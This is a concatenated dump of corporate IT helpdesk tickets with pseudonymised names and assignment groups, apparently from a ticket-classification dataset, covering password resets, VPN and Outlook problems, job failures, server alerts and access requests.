jgnxyahz cixzwuyf em 20/07/2016 19:56\_x000D\_
esta mensagem nÃ£o pÃ´de ser enviada. tente enviar a mensagem novamente mais tarde ou contate o administrador da rede. o erro a operaÃ§Ã£o do cliente falhou. Ã© [0x9115121f-0x9115121f-0x000501].\_x000D\_
, is assigned to Assignment group: GRP\_26.Ticket with Short description: access database error., Description: access database error. attached., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1132: average (5 samples) memory usage is now 95%, which is above the error threshold (95%), Description: HostName\_1132: average (5 samples) memory usage is now 95%, which is above the error threshold (95%)\_x000D\_
swap memory usage is now 90.80%, which is above the warning threshold (75%), is assigned to Assignment group: GRP\_12.Ticket with Short description: my telephone does not have a dial tone and i cannot pick up warehouse\_tool mail messages, Description: my telephone does not have a dial tone and i cannot pick up warehouse\_tool mail messages, is assigned to Assignment group: GRP\_0.Ticket with Short description: account lockout, Description: account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: i am having issues with being disconnected every few minutes from outlook, i cannot send or recive email or search when , Description: i am having issues with being disconnected every few minutes from outlook, i cannot send or receive email or search when it disconnects., is assigned to Assignment group: GRP\_3.Ticket with Short description: restore, Description: \_x000D\_
\_x000D\_
received from: trgqbeax.hfyzudql@gmail.com\_x000D\_
\_x000D\_
please restore from august 5th 2016\_x000D\_
\_x000D\_
westes$(\\HostName\_598<file:///\\HostName\_598>) / betriebliche regelungen und bv / bv / anlage 2a bv bonus im ad fy17.docx\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
danke + viele grÃ¼ÃŸe\_x000D\_
trgqbeax hfyzudql\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen | best , is assigned to Assignment group: GRP\_12.Ticket with Short description: o outloock nÃ£o esta funcionando., Description: mensagem de erro:" infelizmente, o outlook encontrou um erro que o estÃ¡ impedindo de funcionar corretamente. como resultado, outlook deverÃ¡ ser fechado. gostaria que fizÃ©ssemos o reparo agora? com trÃªs botÃµes que sÃ£o: reparar agora/ fechar/ ajuda", is assigned to Assignment group: GRP\_62.Ticket with Short description: warehouse\_toolmail not working, Description: my warehouse\_toolmail does not seem to be picking up incoming calls. my number is 724. i attempted to uacyltoe hxgaycze this by calling from my cell phone. after 10 rings, the warehouse\_toolmail still did not pick up., is assigned to Assignment group: GRP\_0.Ticket with Short description: setting of ooo for another mail box, Description: setting of ooo for another mail box
summary:need out off office for an employee who does not work in company any longer, is assigned to Assignment group: GRP\_0.Ticket with Short description: user hajghtdul unable to connect via vpn. unable to access distributor\_tool and distributor\_tool qa., Description: i have changed my passwords using password\_management\_tool password manager. after the passwords change i am unable to connect via vpn \_x000D\_
my user id is hajghtdul., is assigned to Assignment group: GRP\_0.Ticket with Short description: warehouse\_toolmail not possible on phone set, Description: warehouse\_toolmail not possible on phone set, is assigned to Assignment group: GRP\_0.Ticket with Short description: group by does not work in the new modern look see attached image, Description: my site does not show the grouping by the first level and at the second level is continuous.\_x000D\_
further, the expand arrows are not responsive.\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: erp SID\_34 unlock request , Description: erp SID\_34 unlock request , is assigned to Assignment group: GRP\_0.Ticket with Short description: update on inplant\_848628, Description: update on inplant\_848628, is assigned to Assignment group: GRP\_0.Ticket with Short description: ldism004(usa village(claapdico)-robot) is inactive since 07:14 am et on 08/09, Description: ldism004(usa village(claapdico)-robot) is inactive since 07:14 am et on 08/09, is assigned to Assignment group: GRP\_8.Ticket with Short description: setup new ws \xaqzisrk ahbgjrqz, Description: setup new ws \xaqzisrk ahbgjrqz, is assigned to Assignment group: GRP\_24.Ticket with Short description: warehouse\_toolmail related to my office phone is not functioning., Description: the warehouse\_toolmail associated with my office phone is not functioning properly. when trying to access warehouse\_toolmail from my office phone, i receive a "not possible" message on my phone. i have also tried to access warehouse\_toolmail from the number and receive a message that states that my call cannot be completed at this time., is assigned to Assignment group: GRP\_0.Ticket with Short description: handheld wireless device activation iphone 5s, Description: handheld wireless device activation iphone 5s, is assigned to Assignment group: GRP\_0.Ticket with Short description: need file restored on a network/nt drive HostName\_771, Description: need file restored on a network/nt drive.\_x000D\_
\_x000D\_
1) what is the file's full pathname techcenter projects\_x000D\_
\_x000D\_
2) what server/drive is it on HostName\_771\_x000D\_
\_x000D\_
\_x000D\_
3) from what backup date or last modified date do you want the file restored ? if unsure, the most recent backup date will be used. \_x000D\_
\_x000D\_
4) do you want the entire folder restored ? if not, you must provide the specific filename to restore . yes\_x000D\_
\_x000D\_
5) if the backup tape is not onsite, is it ok to allow 1-2 business days to retrieve the offsite tape ? extra charges apply for emergency delivery. \_x000D\_
\_x000D\_
6) do you want this filename and/or folder restored to its original place and with its original name, in other words an overwrite will be done. \_x000D\_
if not, then you need to supply the new name and location to restore it to. \_x000D\_
\_x000D\_
note: a 30-day maximum backup is available. this is for file restores. exception only being HostName\_768 & HostName\_770, as they are kept for 1 year., is assigned to Assignment group: GRP\_5.Ticket with Short description: need access for utislgov fetaqndw , Description: \_x000D\_
\_x000D\_
received from: zjawqgcs.tohqcxla@gmail.com\_x000D\_
\_x000D\_
hi there,\_x000D\_
\_x000D\_
we want give utislgov fetaqndw utislgov.fetaqndw@gmail.com<mailto:utislgov.fetaqndw@gmail.com> the same access as i have for \\HostName\_1337\departments drive.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: unlock erp SID\_34 erp production account, Description: unlock erp SID\_34 erp production account, is assigned to Assignment group: GRP\_0.Ticket with Short description: revisar pc lpaw8515845 (g0rfv12) usadtto dfsdpor ffthhiago frsilva, Description: usar microsoft update \_x000D\_
atualizar adobe acrobat, adobe flash e java\_x000D\_
revisar grupos\_x000D\_
revisar e atualizar sep\_x000D\_
revisar patching\_antivirus\_sw\_x000D\_
revisar erp client\_x000D\_
executar check disk, defrag e scan do sep\_x000D\_
atualizar drivers dell\_x000D\_
verificar se hÃ¡ atualizaÃ§Ã£o/nova versÃ£o do pacote office no o365\_x000D\_
\_x000D\_
uacyltoe hxgayczear acessos ao itau, caixa e hsbc. uacyltoe hxgayczear abertura de plaghynilhas do itaÃº. , is assigned to Assignment group: GRP\_62.Ticket with Short description: seep installation , Description: seep installation , is assigned to Assignment group: GRP\_0.Ticket with Short description: issue on pricing in distributor\_tool, Description: we have agreed price with many of the distributors for a given period and skus. this is specified through pricing condition zcnc in erp. in distributor\_tool, it is order through sold to & ship to combination.\_x000D\_
- till august â€“ flat rate deployment, we did not have any issues.\_x000D\_
- today, when the distributor tried to book the order with zcnc pricing condition. the initial screen shows the correct price. but when the item is selected and quick order is clicked on, the price is getting changed to list price less standard discount instead of retaining the zcnc price., is assigned to Assignment group: GRP\_21.Ticket with Short description: outlook issue , Description: outlook issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: vvfrtgarnb - account disabled : account needs to be enabled till 12th aug, Description: \_x000D\_
\_x000D\_
received from: dctviemg.muapxkns@gmail.com\_x000D\_
\_x000D\_
please enable bahbrgy' account aerp. he is not leaving company until this friday. i do not know why his account was disabled today.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: account disabled for user vvfrtgarnb, Description: account disabled for user vvfrtgarnb, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to wifi, Description: unable to connect to wifi., is assigned to Assignment group: GRP\_0.Ticket with Short description: close telephony\_software between 16:30 and 17:30 local time due to kick off dinner, Description: hi,\_x000D\_
would you please close telephony\_software for turkey between 16:30 and 17:30 local time due to kick off dinner? it was approved by djpwfxzt cfkwxlmq?\_x000D\_
, is assigned to Assignment group: GRP\_7.Ticket with Short description: distributor\_tool: company issue and engineering\_tool issue , Description: distributor\_tool: company issue and engineering\_tool issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for wptbgchj jutpdcqf using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: unable to connect vpn, Description: \_x000D\_
\_x000D\_
received from: zrpemyab.xvzwcbha@gmail.com\_x000D\_
\_x000D\_
dear sir/madam,\_x000D\_
\_x000D\_
i am unable to access vpn.\_x000D\_
\_x000D\_
please refer below message\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image003.jpg@01d1f26d.749a4780]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: my symantec management agent is disabled, Description: my symantec management agent is disabled, is assigned to Assignment group: GRP\_50.Ticket with Short description: npc311101328 maintain plant value tasks assigned to jimdghty beshryu. error , Description: npc311101328 information from jimdghty beshryu: i have tried to complete the task. i recruited the help of the usa planners who usually do that step. they tell me that all of the tasks they do are complete with this item. product engineering was able to complete their task that cannot be done (based on what i have been told) until the planners finish their task. , is assigned to Assignment group: GRP\_11.Ticket with Short description: display settings issue., Description: display setting issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: idg password reset not possible. , Description: idg password reset not possible. \_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: can't print drawing, Description: when attempting to print 71877338 from eu locations, a "missing sheet" page is being printed.\_x000D\_
\_x000D\_
my guess is that although the drawing is in fr status, all originals still reside in cadb storage,, is assigned to Assignment group: GRP\_11.Ticket with Short description: i can not log into erp hcm via the vpn, Description: i'm connected to the vpn, but i can not log into erp. i keep getting the error message that seems to imply that i am not connected to the vpn. any help is appreciated., is assigned to Assignment group: GRP\_0.Ticket with Short description: attached mail is saved on desktop as template with a text and signature. but when sent, nothing is to be seen., Description: attached mail is saved on desktop as template with a text and signature. but when sent, nothing is to be seen., is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client login, Description: hi,\_x000D\_
\_x000D\_
kindly help me out on access drawing search â€“ to view and download in business\_client utility.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_973:(hr\_tool tax\_interface app - qa ) total cpu is now 100.00%, since 4:51 am on 8/9 et , Description: HostName\_973:(hr\_tool tax\_interface app - qa ) total cpu is now 100.00% which is above the error threshold (99%), is assigned to Assignment group: GRP\_12.Ticket with Short description: bildschirm am kyocera arbeitsplatz defekt, Description: bitte austauschen, is assigned to Assignment group: GRP\_42.Ticket with Short description: setup new ws \rxpjomyf hvolsgqn, Description: setup new ws \rxpjomyf hvolsgqn, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \pnwbkitv phbnwmkl, Description: setup new ws \pnwbkitv phbnwmkl, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \wyighrjl xcwavhyu, Description: setup new ws \wyighrjl xcwavhyu, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \beosjgxt mdevcqjk, Description: setup new ws \beosjgxt mdevcqjk, is assigned to Assignment group: GRP\_24.Ticket with Short description: erp 730 issue., Description: my erp gui got updated today, after that i am not able to save any data to desktop. please help., is assigned to Assignment group: GRP\_0.Ticket with Short description: lhqsm518(fim production): miiserver.exe: wrong number of instances of process miiserver.exe., Description: lhqsm518(fim production): miiserver.exe: wrong number of instances of process miiserver.exe, expected instances gte 1 but found 0\_x000D\_
at time: 08/09/16 04:51:34 am, est, is assigned to Assignment group: GRP\_12.Ticket with Short description: erp SID\_34 password reset request., Description: erp SID\_34 password reset request., is assigned to Assignment group: GRP\_0.Ticket with Short description: company guest account not working which was created yesterday., Description: company guest account not working which was created yesterday., is assigned to Assignment group: GRP\_0.Ticket with Short description: user account is locked, Description: unable to login windows., is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to hear any thing , Description: not able to hear any thing , is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation request for user :eqtofwbm mojfbwds : eqtofwbm.mojfbwds@gmail.com, Description: \_x000D\_
\_x000D\_
received from: wauhocsk.vxuikqaf@gmail.com\_x000D\_
\_x000D\_
dear friends\_x000D\_
\_x000D\_
please find below enclosed request\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset request , Description: erp SID\_34 password reset request , is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot connect the network printer vh41, Description: i cannot connect the network printer vh41, is assigned to Assignment group: GRP\_0.Ticket with Short description: updated win10 uacyltoe hxgaycze machine eaglt000500 with recent "anniversary update" - need lauacyltoe hxgaycze sep version 12.1.6 mp5 or higher, Description: hello antivirus team,\_x000D\_
\_x000D\_
my win10 uacyltoe hxgaycze machine eaglt000500 has automatically updated to the recent win10 "anniversary update" - sep 12.1.6 mp3 is no longer working.\_x000D\_
this is an official company it win10 uacyltoe hxgaycze machine.\_x000D\_
\_x000D\_
as per symantec technical support forum, windows 10 anniversary update requires at least sep version 12.1.6 mp5 or higher. please download and provide the software on the following share:\_x000D\_
\_x000D\_
\\eagcldaten\public\roedel\symantec\_endpoint\_protection\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_50.Ticket with Short description: mobile device activation ; personal device , Description: mobile device activation ; personal device , is assigned to Assignment group: GRP\_0.Ticket with Short description: data restore, Description: restore the data files from external hard disk to reimaged laptop., is assigned to Assignment group: GRP\_19.Ticket with Short description: polycom realpresence destop", Description: polycom software installation on desktop, is assigned to Assignment group: GRP\_19.Ticket with Short description: ad locked out , Description: ad locked out , is assigned to Assignment group: GRP\_0.Ticket with Short description: eagw8111224 shows defective system files - reinstall with lauacyltoe hxgaycze fy17 win7\_x64 image, Description: eagw8111224 shows defective system files - reinstall with lauacyltoe hxgaycze fy17 win7\_x64 image, is assigned to Assignment group: GRP\_28.Ticket with Short description: terminate action for suzjhmfa swmiynoz has completed., Description: from: jusfrttin gtehdnyuerrf [mailto:system@hr\_tool.com] \_x000D\_
sent: tuesday, august 09, 2016 12:05 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: rad - the terminate action for suzjhmfa swmiynoz has completed.\_x000D\_
\_x000D\_
hello , \_x000D\_
\_x000D\_
a termination for suzjhmfa swmiynoz, 11172383, effective 07/30/2016 has been approved.\_x000D\_
\_x000D\_
click the link to view.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: request you to reset my password of password\_management\_tool- could not login and reset my password ., Description: request you to reset my password of password\_management\_tool as soon as possible.\_x000D\_
could not login and reset my password ., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for prgthyuulla ramdntythanjesh using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: reset passwords for prgthyuulla ramdntythanjesh using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: the terminate action for kjtqxroc taqekwrd has completed., Description: from: jusfrttin gtehdnyuerrf [mailto:system@hr\_tool.com] \_x000D\_
sent: tuesday, august 09, 2016 11:25 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: rad:the terminate action for kjtqxroc taqekwrd has completed.\_x000D\_
\_x000D\_
hello , \_x000D\_
\_x000D\_
a termination for kjtqxroc taqekwrd, 11145798, effective 06/25/2016 has been approved.\_x000D\_
\_x000D\_
click the link to view.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: logon to server HostName\_583 not possible, Description: logon to server HostName\_583 not possible - server is in a loop at the welcome screen, is assigned to Assignment group: GRP\_12.Ticket with Short description: lean event, Description: \_x000D\_
\_x000D\_
received from: ikerxqwz.prkyuitl@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
while forwarding lean event updation , i find the mail is not being forwarded and some message is displayed .\_x000D\_
\_x000D\_
please check and advise\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1f231.a3024791]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: aw: [ticket#2016080878000153] wg: po#4505612440, Description: \_x000D\_
\_x000D\_
received from: qyndvmlw.imcvznow@gmail.com\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / with kind , is assigned to Assignment group: GRP\_32.Ticket with Short description: network outage, russia ru, company-russia-vpn-rtr(10.46.0.21) showing down since 12:59 am edt on 08/09/16 (no backup ckt.) , Description: what type of outage: \_x\_\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_12:59 am edt on 08/09/16\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_yes\_\_\_\_ (yes/no/na) cert started ?\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: emea files not processed as per schedule - check & let us know the reasons.; please include mail notification., Description: hi pradtheyp,\_x000D\_
\_x000D\_
we have not received the production feed files for emea today. please check from your end and re-send the files to us.\_x000D\_
\_x000D\_
also, we would like to know whether it will be possible that an automatic notification is sent to the concerned people in case the extraction programdnty fails.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_71.Ticket with Short description: purchasing mdm import manager did not work correctly, Description: mapping was not possible anymore, is assigned to Assignment group: GRP\_29.Ticket with Short description: unable to open sales orders attachments - save abap reports and can't view desktop attachments through erp, Description: issue 1 - after erp update on 8.8.2016 (a system prompt, to fix the issue of SID\_55 & SID\_50 log on) i am unable to open/view sales order outlook email attachments (refer attachment download error) in va02,va03 and as per error if out look is closed & try to open the attachment, system is prompting to install outlook 2010(refer outlook installation prompt) \_x000D\_
\_x000D\_
issue 2 - excel file downloaded after running abap query, i am unable to save or save to computer.\_x000D\_
\_x000D\_
issue 3 - unable to view files saved on desktops to attachÃ© them to sales order in va02/va03, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to send or receive email , Description: unable to send or receive email , is assigned to Assignment group: GRP\_0.Ticket with Short description: wg: [ticket#2016080878000153] wg: po#4505612440, Description: \_x000D\_
\_x000D\_
received from: tvmlrwkz.rsxftjep@gmail.com\_x000D\_
\_x000D\_
hallo zusammen,\_x000D\_
\_x000D\_
siehe nachstehenden email schriftverkehr, bitte scghhnellstens beheben.\_x000D\_
danke.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_32.Ticket with Short description: not able to access attendance\_tool application - ticket reference ticket\_no0428293, Description: name:aryndruh
language:
browser:microsoft internet explorer
email:wjbtlxry.gdbqzjyw@gmail.com
customer number:
telephone:+91
summary:not able to access attendance\_tool application - ticket reference ticket\_no1539304
, is assigned to Assignment group: GRP\_0.Ticket with Short description: bios einstellung, Description: bitte an wzs 60 (wza, m14, m12.18990) bios so Ã¤ndern das nach netz reset der rechner selbststÃ¤ndig startet.
bitte um erledigung durch m. himghtmelreich., is assigned to Assignment group: GRP\_33.Ticket with Short description: networking issue at customer site, Description: \_x000D\_
\_x000D\_
received from: vkzwibco.pueyvhoi@gmail.com\_x000D\_
\_x000D\_
dear ms. ragsbdhryu,\_x000D\_
\_x000D\_
in-line with our telephonic conversation, please find below the following details\_x000D\_
\_x000D\_
\_x000D\_
1) there are two computers â€“ machine pc and a laptop\_x000D\_
\_x000D\_
2) these two are connected using a lan cable\_x000D\_
\_x000D\_
3) the name of the laptop is visible in the 'my networks' page of machine pc\_x000D\_
\_x000D\_
4) but, the name of the machine pc is not visible in the network of the laptop\_x000D\_
\_x000D\_
5) we are unable to set the domain name and workgroup in settings of control panel\_x000D\_
\_x000D\_
\_x000D\_
please sort this out on priority.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: call routing to german support agents, Description: call routing to german support agents was fixed once the workgroup was added and percent allocated, is assigned to Assignment group: GRP\_7.Ticket with Short description: frequent account lockouts, Description: frequent account lockouts
contact no:-
chg1144616
ctask0026859, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1142, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1142 at 08/09/16 00:07:26, is assigned to Assignment group: GRP\_9.Ticket with Short description: internet explorer, Description: \_x000D\_
\_x000D\_
received from: peojqgvm.qayeptuo@gmail.com\_x000D\_
\_x000D\_
i need help installing the lauacyltoe hxgaycze internet explorer.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_34
enter user id of user having the issue: user hghjnlabel in locked we needs to release user or reset password
transaction code(s) the user needs or was working with:
describe the issue:
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: abended job in job\_scheduler: Job\_549, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_549 at 08/08/16 23:22:25, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: bkwin\_search\_server\_prod\_daily, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bkwin\_search\_server\_prod\_daily at 08/08/16 23:16:25, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: SID\_50filesys, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_50filesys at 08/08/16 23:03:25, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_1305, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1305 at 08/08/16 22:43:25, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to login to skype , Description: unable to login to skype , is assigned to Assignment group: GRP\_0.Ticket with Short description: need to upgrade the outlook, Description: name:dehnfyru
language:
browser:microsoft internet explorer
email:uvjpaeli.bnphqsxr@gmail.com
customer number:
telephone:
summary:need to upgrade the outlook 2013, is assigned to Assignment group: GRP\_27.Ticket with Short description: company\orshop\_floor\_app locked out for too many tries of wrong password, Description: multiple computers use the same log in. company\orshop\_floor\_app locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: Job\_2049e:was running longer than 30 minutes,kirtyled and rerun, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2049e at 08/08/16 22:00:26, is assigned to Assignment group: GRP\_6.Ticket with Short description: delete sto 5018072616 & 5018966647 , Description: from: johthryugftyson hu \_x000D\_
sent: tuesday, august 09, 2016 6:16 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
cc: qgrbnjiu hidzlfma\_x000D\_
subject: fw: delete sto 5018072616 & 5018966647 \_x000D\_
\_x000D\_
it help,\_x000D\_
\_x000D\_
we need delete both sto 5018072616 & 5018966647 , but get same error message as screen below.\_x000D\_
\_x000D\_
now we block them to avoid unnessary dn to be created.\_x000D\_
\_x000D\_
please help check how we can delete them, , is assigned to Assignment group: GRP\_18.Ticket with Short description: ticket update for pmqansex nvihmbwc, Description: from: rakthyesh ramdntythanjesh
sent: tuesday, august 09, 2016 6:02 am
to: ugyothfz ugrmkdhx
cc: pmqansex nvihmbwc
subject: ticket\_no1520236-create email account for employee gzwasqoc gadisyxr
good morning safrgyynjit,
user called to service desk and requested to expedite the issue, kindly take this request on priority and assist user.
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: inquiry on etime login, Description: inquiry on etime login, is assigned to Assignment group: GRP\_0.Ticket with Short description: shop floor pc locked : coshopfloor3, Description: shop floor pc locked : coshopfloor3, is assigned to Assignment group: GRP\_0.Ticket with Short description: symantec endpoint encryption page-unable to login, Description: symantec endpoint encryption page-unable to login, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1320, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1320 at 08/08/16 19:46:28, is assigned to Assignment group: GRP\_9.Ticket with Short description: abended job in job\_scheduler: bkwin\_HostName\_768\_inc, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bkwin\_HostName\_768\_inc at 08/08/16 19:29:27, is assigned to Assignment group: GRP\_5.Ticket with Short description: multiple processes are showing down on HostName\_1288-hana-SID\_59 since 7:05 pm on 08/08 et, Description: multiple processes are showing down on HostName\_1288-hana-SID\_59 since 7:05 pm on 08/08 et\_x000D\_
process hdbnameserver is not running\_x000D\_
process hdbxsengine is not running\_x000D\_
process hdbpreprocessor is not running\_x000D\_
process hdbcompileserve is not running\_x000D\_
process hdbindexserver is not running\_x000D\_
process hdb.erpSID\_59\_hdb0 is not running\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: zdis discounts do not appear, Description: zdis discounts are not applying and should be. zdis isn't even showing as a condition and should be. this is causing incorrect sales orders and orders to be placed on hold. \_x000D\_
please see the following sales orders. \_x000D\_
35892987. \_x000D\_
35891192 items 20 and 50-80. \_x000D\_
quote 3116213902 items 20 & 40., is assigned to Assignment group: GRP\_13.Ticket with Short description: us25- dedicated hr\_tool clock in for hourly employees, Description:
received from: wvngzrca.sfmrzdth@gmail.com
please add the appropriate options for the following hourly employees who have dedicated computers to clock "in" and "out" with hr\_tool at their desks and laptops:
us25 -zjihgovn cqxahony 33288
us25 -dpuifqeo eglwsfkn 27125
us25 -ihlsmzdn cnhqgzwt 27230
us25-ewgihcnz vdjqoeip 62605
us25 -moxnqszg zgdckste 63856
us25 -bghrbie crhyley 27164
if i may be of further assistance please feel free to contact me at any time.
wvngzrca sfmrzdth, phr
human resources manager
us\_plant/usa, nc
wvngzrca.sfmrzdth@gmail.com<mailto:wvngzrca.sfmrzdth@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: access needed to vmsliazh ltksxmyv in us\_plant., Description:
received from: umzcxfah.aoshpjiu@gmail.com
user debtgyrur had access to the us\_plant vmsliazh ltksxmyv HostName\_1262 to do downloads fzwxitmen jwvuasft daily. today that access seems to be broken. please restore aerp. i am usaing whatever approvals are required to restore this connection immediately. it is causing a shutdown to the production process and needs to be immediately addressed.
, is assigned to Assignment group: GRP\_1.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: user wanted to check if there are discounts on microsoft products., Description: user wanted to check if there are discounts on microsoft products., is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool e time issue, Description: hr\_tool e time issue
name:wvngzrca sfmrzdth
language:
browser:microsoft internet explorer
email:wvngzrca.sfmrzdth@gmail.com
customer number:
telephone:
summary:do i request e-time computer access from it? for team members who are assigned a computer?, is assigned to Assignment group: GRP\_0.Ticket with Short description: Job\_1953d was running longer than 30 minutes kirtyled and rerun , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1953d at 08/08/16 16:20:26, is assigned to Assignment group: GRP\_6.Ticket with Short description: contract management employee publication\_p2016-07-24-16-00-04, Description: contract management employee publication\_p2016-07-24-16-00-04, is assigned to Assignment group: GRP\_9.Ticket with Short description: collaboration\_platform is asking me to login at each page. , Description: please assist with keeping my account logged in., is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1178 : the status on HostName\_1178.company.com.status is not as expected (3 (red)), Description: HostName\_1178 : the status on HostName\_1178.company.com.status is not as expected (3 (red)), is assigned to Assignment group: GRP\_12.Ticket with Short description: xp pc in lab hooked to microscope gets a bsod on login., Description: xp pc in lab hooked to microscope gets a bsod on login., is assigned to Assignment group: GRP\_3.Ticket with Short description: the terminate action for johthryu chmielewski has completed., Description: from: rlgmiuwt dfpqxbgm [mailto:system@hr\_tool.com]
sent: monday, august 08, 2016 8:04 pm
to: nwfodmhc exurcwkm
subject: amar - the terminate action for johthryu chmielewski has completed.
hello ,
a termination for johthryu chmielewski, 1156177031, effective 08/05/2016 has been approved.
click the link to view.
